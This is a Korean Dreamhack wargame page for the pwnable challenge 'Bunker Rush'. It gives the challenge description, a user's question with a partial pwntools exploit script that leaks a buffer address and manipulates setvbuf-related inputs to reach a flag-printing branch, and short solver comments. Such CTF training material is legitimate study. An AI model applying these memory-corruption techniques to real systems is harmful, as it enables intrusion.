LEVEL 4

Bunker Rush

pwnable
  • 문제 정보
  • 풀이 45
  • 난이도 투표 67
  • 질문 4
  • 최근 풀이자 180
  • 댓글 19

문제 설명

Description

드림핵 회원 수가 22,222명을 달성했어요!!
드림이는 기념으로 2의 상징을 공부해보기로 했어요.
그게 바로 벙커링이래요!! 아 그게 아니라 버퍼링... 이라구요?

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
  • 문제환경은 ubuntu:20.04 (ubuntu@sha256:8ae9bafbb64f63a50caab98fd3a5e37b3eb837a3e0780b78e5218e63193961f9) 입니다.

난이도 투표 67

질문 4

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
22222를 제대로 넣은 것 같은데...
**#!/usr/bin/env python3 import sys from pwn import * BINARY_PATH = "./chal" def conn(): if len(sys.argv) == 3: p = remote(sys.argv[1], int(sys.argv[2])) else: p = process(BINARY_PATH) return p p = conn() elf = ELF(BINARY_PATH) p.sendlineafter(b'>> ',b'2') p.sendlineafter(b'>> ',b'1') p.sendlineafter(b'>> ',b'2') buffer = int(p.recvline().split(b': ')[1],16) type = buffer + 0x468 print(hex(buffer)) print(hex(type)) p.sendlineafter(b'>> ',b'1') p.sendlineafter(b'>> ',b'139810') p.sendlineafter(b'buffer: ', f'{int(type)}'.encode()) p.sendlineafter(b'size: ', b'5') p.sendlineafter(b'>> ',b'2') p.sendlineafter(b'>> ',b'0') p.sendlineafter(b'>> ',b'1') p.sendlineafter(b'[y/N]\n',b'2'*5) p.interactive()** 안녕하세요 해당 문제를 풀기위해서는 setvbuf를 이용해서 풀어야한다는 점은 알고 있습니다. 다만 setvbuf에 대해서 자세히는 모르지만 디버깅을 통해 최종적으로 long type;에 (0x3232323232)22222를 넣는 방법을 찾았습니다. if(this->type && !strcmp ((char*)(this->type), YELLOW_WIN)) system("cat flag"); 해당 조건문을 통과해 최종적으로 플래그를 찾는것을 목표로하고 있습니다. 그러나 Bunker->long type에 22222를 넣어도 조건문이 통과하지 않습니다. 나름 찾은 이유는 비교문 strcmp함수에 RSI RDI에서 생각대로 레지스터에 담기질 않는것 같습니다. 나름대로 이유는 열심히 찾았지만 그 원인이 먼지 잘 모르겠습니다... 해당 문제를 풀 수 있게 지혜를 주셨으면 좋겠습니다. 감사합니다. (__)
yoona1a
LEVEL 4

Bunker Rush

pwnable

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

G0RiyA
CTF 초보자
출제된 지 42분 만에 풀이 완료!

최근 풀이자 180

avatar
사용자
소통요정
avatar
마시마로
CTF 초보자
avatar
Rootsquare
바탈리온
cccclllllhhhhnn
강의 수강: 1
PUPU
시스템 해킹 초심자
avatar
kidz0
시스템 해킹 고인물
yoona1a
대표 업적 없음
beener
대표 업적 없음
hyxn
리버싱 입문
YUROK
강의 수강: 1

댓글 19

avatar
Rootsquare
바탈리온
이상한 코드...? 의심스러운 부분을 찾아라
yoona1a
대표 업적 없음
아.... 삽질 너무 했습니다.. ㅠ 접근은 괜찮았는데 코드를 잘못 해석했네요
rou
대표 업적 없음
얏타...
avatar
Gunter
대표 업적 없음
부들부들 ..
avatar
Sandersonia
대표 업적 없음
울면서 풀었다
avatar
aaaaaaaaaaaaaaaaaaaaaaaa
대표 업적 없음
어렵다
fr0m1s9
Perfect 10
setvbuf에 무지했다면 책임을지라..... 멍청한 나는 ㅠㅠ 겨우 풀었다
HACKGhost
대표 업적 없음
접근을 잘했지만 거기까지만 잘하고 그 뒤부터 삽질 파뤼~~~(내가 왜 이럴까?)
avatar
Kimg00n
Perfect 10
다 풀고 삽질..
avatar
Rasser
워게임: 20
나는 똥멍청이다...